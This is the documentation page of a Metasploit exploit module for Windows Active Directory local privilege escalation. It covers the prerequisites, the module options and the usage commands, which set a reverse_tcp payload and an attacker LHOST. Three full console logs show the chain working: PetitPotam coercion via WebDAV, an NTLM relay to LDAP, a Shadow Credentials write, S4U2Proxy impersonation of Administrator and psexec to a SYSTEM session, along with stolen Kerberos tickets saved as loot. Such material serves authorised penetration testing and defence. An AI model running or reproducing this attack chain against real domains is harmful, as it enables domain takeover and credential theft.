## Vulnerable Application

This module targets Windows Active Directory environments where:

1. A Meterpreter session exists on a domain-joined Windows host from an **interactive or RDP logon** (not a network logon).
2. The host's LmCompatibilityLevel is set to 2 or lower (NTLMv1 enabled).
3. The machine account has write access over its own `msDS-KeyCredentialLink` attribute (default AD behavior).
4. The WebClient service is installed (present by default on Windows workstations, not on Server).

The module coerces the local machine account to authenticate via OpenEncryptedFileRaw (WebDAV),
relays that NTLM authentication to a Domain Controller's LDAP service, then uses the resulting
LDAP session to write Shadow Credentials and obtain a Kerberos service ticket as Administrator
via S4U2Proxy, enabling psexec back to itself for SYSTEM access.

### WebClient Service and the LOCAL SID Requirement

The module starts the WebClient service using an ETW (Event Tracing for Windows) service trigger.
The WebClient service is registered with a custom ETW trigger GUID (`22B6D684-FA63-4578-87C9-EFFCBE6643C7`).
Writing an event to this provider causes the Unified Background Process Manager (UBPM) to start the service.

However, the UBPM ETW consumer's security descriptor only allows events from tokens that carry
the LOCAL SID (`S-1-2-0`), SYSTEM, Administrators, or UWP apps. This means:

- **Interactive logon (type 2)** — has LOCAL SID — ETW trigger works
- **RDP logon (type 10)** — has LOCAL SID — ETW trigger works
- **Network logon (type 3, e.g., fetch payload running from an SSH session)** — does NOT have LOCAL SID — ETW trigger silently fails

The module checks for the LOCAL SID before attempting the ETW trigger and will abort with a
clear error if the session was obtained via a network logon.

For more details on this behavior, see: https://specterops.io/blog/2025/08/19/will-webclient-start/

## Verification Steps

1. Start msfconsole
1. Obtain a Meterpreter session on a domain-joined Windows host that has a LOCAL sid
   2. Generate a payload (e.g., `windows/meterpreter/reverse_tcp`), deliver it to the target host, and double click to execute
1. Do: `use exploit/windows/local/ntlm_relay_2_self`
1. Do: `set SESSION <session_id>`
1. Do: `set RHOSTS <dc_ip>`
1. Do: `set PAYLOAD windows/meterpreter/reverse_tcp`
1. Do: `set LHOST <attacker_ip>`
1. Do: `run`
1. You should see a relay succeed, Shadow Credentials written, and a Kerberos ticket obtained.

## Options

### RUN_GET_TICKET

When `true` (default), the module writes Shadow Credentials to the machine account's AD object
and obtains a Kerberos ticket via PKINIT, then performs S4U2Proxy to get an impersonating
service ticket (ST) for Administrator to the host's CIFS service.

### RUN_PSEXEC

When `true`, uses the obtained Kerberos ticket to launch `exploit/windows/smb/psexec` against the
local host for an elevated SYSTEM session. Defaults to `false`.

Can be used independently of `RUN_GET_TICKET` if a ticket was obtained in a prior run (the module
looks up the latest cached ccache).

### TARGET_PRIVILEGED_USER

The privileged user to impersonate during the S4U2Proxy step. Defaults to `Administrator`.

### SPN

The Service Principal Name to request in the TGS. Defaults to `CIFS/<machine_fqdn>` if left blank.
Useful when targeting a different service (e.g., `HTTP/server.domain.local`).

### RUN_CHECKS

Run pre-flight checks (LmCompatibilityLevel, port availability, target reachability) before starting
the relay server. Default: `true`.

### DOMAIN

The target Active Directory domain FQDN (e.g., `corp.local`). If left blank, the module auto-detects
the domain from the Meterpreter session.

## Cleanup
The module runs the HTTP to LDAP relay server passively as a background job. This server will continue to run until the
ntlm_relay_2_self job is killed manually. This means if the module is rerun before the original job is killed, there will be a conflict
on the `SRVPORT` and the module will fail to start the relay server. To avoid this, either set `SRVPORT` to a different
value or kill the original job before rerunning the module.

## Scenarios

### Full LPE Chain — SYSTEM via Relay

Obtain an elevated SYSTEM session on the compromised host:

```
msf exploit(windows/local/ntlm_relay_2_self) >
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8081 is available on the victim...
[+] Port 8081 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 172.16.199.200 is reachable from the victim!
[*] Starting relay server bound to Session 1...
[*] Using URL: http://172.16.199.1:8081/adZgjCp
[*] Server successfully started on 0.0.0.0:8081 via Session 1.
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[*] Starting WebClient service via ETW trigger...
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\MINION1@8081/print\vwBQ5\OJnuhsE9.H9t...
[*] Received OPTIONS request for /print/vwBQ5/OJnuhsE9.H9t from 172.16.199.130:53000
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received OPTIONS request for /print/vwBQ5/OJnuhsE9.H9t from 172.16.199.130:53000
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received OPTIONS request for /print/vwBQ5/OJnuhsE9.H9t from 172.16.199.130:53000
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\sandy -  Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 2 successfully opened!
[*] Target list exhausted for 172.16.199.130. Closing connection.
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 2
[*] Running admin/ldap/shadow_credentials to ADD key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20260602095842_default_unknown_windows.ad.cs_210841.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID af6d3550-2a94-3bb6-ca62-72ab1b3f93de
[*] Shadow Credentials successfully added (Device ID: af6d3550-2a94-3bb6-ca62-72ab1b3f93de).
[*] Requesting S4U2Proxy TGS for Administrator...
[!] Warning: Provided principal and realm (minion1$@kerberos.issue) do not match entries in certificate:
[*] Using cached credential for krbtgt/KERBEROS.ISSUE@KERBEROS.ISSUE MINION1$@KERBEROS.ISSUE
[*] 172.16.199.200:88 - Getting TGS impersonating Administrator@kerberos.issue (SPN: CIFS/minion1.kerberos.issue)
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20260602095843_default_172.16.199.200_mit.kerberos.cca_765765.bin
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20260602095843_default_172.16.199.200_mit.kerberos.cca_993385.bin
[+] S4U2Proxy Ticket acquired: /Users/jheysel/.msf4/loot/20260602095843_default_172.16.199.200_mit.kerberos.cca_993385.bin
[+] Obtained impersonating ST for target host minion1$
[*] Ticket for minion1$ stored at: /Users/jheysel/.msf4/loot/20260602095843_default_172.16.199.200_mit.kerberos.cca_993385.bin
[*] --- Initiating OPSEC Cleanup ---
[*] Removing Shadow Credentials (Device ID: af6d3550-2a94-3bb6-ca62-72ab1b3f93de)...
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 2
[*] Running admin/ldap/shadow_credentials to REMOVE key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID af6d3550-2a94-3bb6-ca62-72ab1b3f93de
[+] Successfully removed KeyCredentialLink with Device ID: af6d3550-2a94-3bb6-ca62-72ab1b3f93de
[*] Cleanup complete.
[*] Executing PsExec with Kerberos ticket via session 1 COMM channel...
[*] Launching PsExec against minion1.kerberos.issue as Administrator (Kerberos) via COMM session 1...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[+] PsExec module launched. Check sessions for new elevated session.
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Sending stage (196678 bytes) to 172.16.199.130
[*] minion1.kerberos.issue:445 - Connecting to the server...
[*] minion1.kerberos.issue:445 - Authenticating to minion1.kerberos.issue:445|kerberos.issue as user 'Administrator'...
[*] minion1.kerberos.issue:445 - Patching sname from CIFS/minion1.kerberos.issue to cifs/minion1.kerberos.issue
[*] minion1.kerberos.issue:445 - Loaded a credential from ticket file: /Users/jheysel/.msf4/loot/20260602095843_default_172.16.199.200_mit.kerberos.cca_993385.bin
[-] minion1.kerberos.issue:445 - Exploit failed: RubySMB::Error::CommunicationError RubySMB::Error::CommunicationError
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.130:52996) at 2026-06-02 09:59:16 -0700

msf exploit(windows/local/ntlm_relay_2_self) > sessions -i -1
[*] Starting interaction with 3...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : MINION1
OS              : Windows 10 22H2+ (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : KERBEROS
Logged On Users : 9
Meterpreter     : x86/windows
meterpreter >
```

### Ticket Only (No PsExec)

Obtain the impersonating ST without launching psexec. Useful for exfiltrating the ticket for offline use:

```
msf exploit(windows/local/ntlm_relay_2_self) > set RUN_GET_TICKET true
msf exploit(windows/local/ntlm_relay_2_self) > set RUN_PSEXEC false
msf exploit(windows/local/ntlm_relay_2_self) > run
[*] Exploit running as background job 4.
msf exploit(windows/local/ntlm_relay_2_self) >
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8081 is available on the victim...
[+] Port 8081 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 172.16.199.200 is reachable from the victim!
[*] Starting relay server bound to Session 1...
[*] Using URL: http://172.16.199.1:8081/UgpIPl1ifrfgZ
[*] Server successfully started on 0.0.0.0:8081 via Session 1.
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[*] Starting WebClient service via ETW trigger...
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\MINION1@8081/print\alYax4i\rqAYQX.CwU...
[*] Received OPTIONS request for /print/alYax4i/rqAYQX.CwU from 172.16.199.130:53016
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received OPTIONS request for /print/alYax4i/rqAYQX.CwU from 172.16.199.130:53016
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received OPTIONS request for /print/alYax4i/rqAYQX.CwU from 172.16.199.130:53016
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\sandy -  Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 4 successfully opened!
[*] Target list exhausted for 172.16.199.130. Closing connection.
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 4
[*] Running admin/ldap/shadow_credentials to ADD key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[*] Certificate stored at: /Users/jheysel/.msf4/loot/20260602100403_default_unknown_windows.ad.cs_372475.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID c1a74013-4235-7c0c-cb9f-fa942e3bb99c
[*] Shadow Credentials successfully added (Device ID: c1a74013-4235-7c0c-cb9f-fa942e3bb99c).
[*] Requesting S4U2Proxy TGS for Administrator...
[!] Warning: Provided principal and realm (minion1$@kerberos.issue) do not match entries in certificate:
[*] Using cached credential for krbtgt/KERBEROS.ISSUE@KERBEROS.ISSUE MINION1$@KERBEROS.ISSUE
[*] 172.16.199.200:88 - Getting TGS impersonating Administrator@kerberos.issue (SPN: CIFS/minion1.kerberos.issue)
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20260602100404_default_172.16.199.200_mit.kerberos.cca_597828.bin
[+] 172.16.199.200:88 - Received a valid TGS-Response
[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20260602100404_default_172.16.199.200_mit.kerberos.cca_042694.bin
[+] S4U2Proxy Ticket acquired: /Users/jheysel/.msf4/loot/20260602100404_default_172.16.199.200_mit.kerberos.cca_042694.bin
[+] Obtained impersonating ST for target host minion1$
[*] Ticket for minion1$ stored at: /Users/jheysel/.msf4/loot/20260602100404_default_172.16.199.200_mit.kerberos.cca_042694.bin
[*] --- Initiating OPSEC Cleanup ---
[*] Removing Shadow Credentials (Device ID: c1a74013-4235-7c0c-cb9f-fa942e3bb99c)...
[*] Loading admin/ldap/shadow_credentials to execute against LDAP Session 4
[*] Running admin/ldap/shadow_credentials to REMOVE key for minion1$...
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
[*] Discovering base DN automatically
[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
[+] Deleted entry with device ID c1a74013-4235-7c0c-cb9f-fa942e3bb99c
[+] Successfully removed KeyCredentialLink with Device ID: c1a74013-4235-7c0c-cb9f-fa942e3bb99c
[*] Cleanup complete.
```

The resulting ticket is stored in the Metasploit loot database and can be used with other Kerberos modules.

### Relay Only (No Post-Exploitation)

Perform only the NTLM relay to obtain an LDAP session without any credential writing:

```
msf exploit(windows/local/ntlm_relay_2_self) > set RUN_GET_TICKET false
msf exploit(windows/local/ntlm_relay_2_self) > set RUN_PSEXEC false
msf exploit(windows/local/ntlm_relay_2_self) > set SRVPORT 7474
msf exploit(windows/local/ntlm_relay_2_self) >
[+] Target system LmCompatibilityLevel is set to 2, which allows NTLMv1 responses. Proceeding with module execution.
[*] Checking if port 8081 is available on the victim...
[+] Port 8081 is available on the victim machine.
[*] Verifying victim can reach the target LDAP server(s) on port 389...
[+] Target LDAP server 172.16.199.200 is reachable from the victim!
[*] Starting relay server bound to Session 1...
[*] Using URL: http://172.16.199.1:8081/XnVe3jnFHiiVT
[*] Server successfully started on 0.0.0.0:8081 via Session 1.
[+] Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.
[*] Starting WebClient service via ETW trigger...
[+] WebClient service triggered successfully via ETW.
[*] Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...
[*] Attempting coercion via OpenEncryptedFileRaw on \\MINION1@8081/print\0RZHA\pMAEdc.DfT...
[*] Received OPTIONS request for /print/0RZHA/pMAEdc.DfT from 172.16.199.130:53023
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Received OPTIONS request for /print/0RZHA/pMAEdc.DfT from 172.16.199.130:53023
[*] Processing request in state unauthenticated from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type1 NTLM message
[*] Received Type 1 message from 172.16.199.130, attempting to relay...
[*] Attempting to relay to 172.16.199.200:389
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[*] Received type2 from target ldap://172.16.199.200:389, attempting to relay back to client
[*] Received OPTIONS request for /print/0RZHA/pMAEdc.DfT from 172.16.199.130:53023
[*] Processing request in state awaiting_type3 from 172.16.199.130
[*] Detected GSS-SPNEGO wrapping around the type3 NTLM message
[*] Received Type 3 message from 172.16.199.130, attempting to relay...
[*] Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`
[+] Identity: KERBEROS\sandy -  Successfully relayed NTLM authentication to LDAP!
[+] Relay succeeded! Handshake completed.
[+] LDAP Session 5 successfully opened!
[*] Neither RUN_GET_TICKET nor RUN_PSEXEC is set. The module will only perform the relay.
[*] Target list exhausted for 172.16.199.130. Closing connection.
```
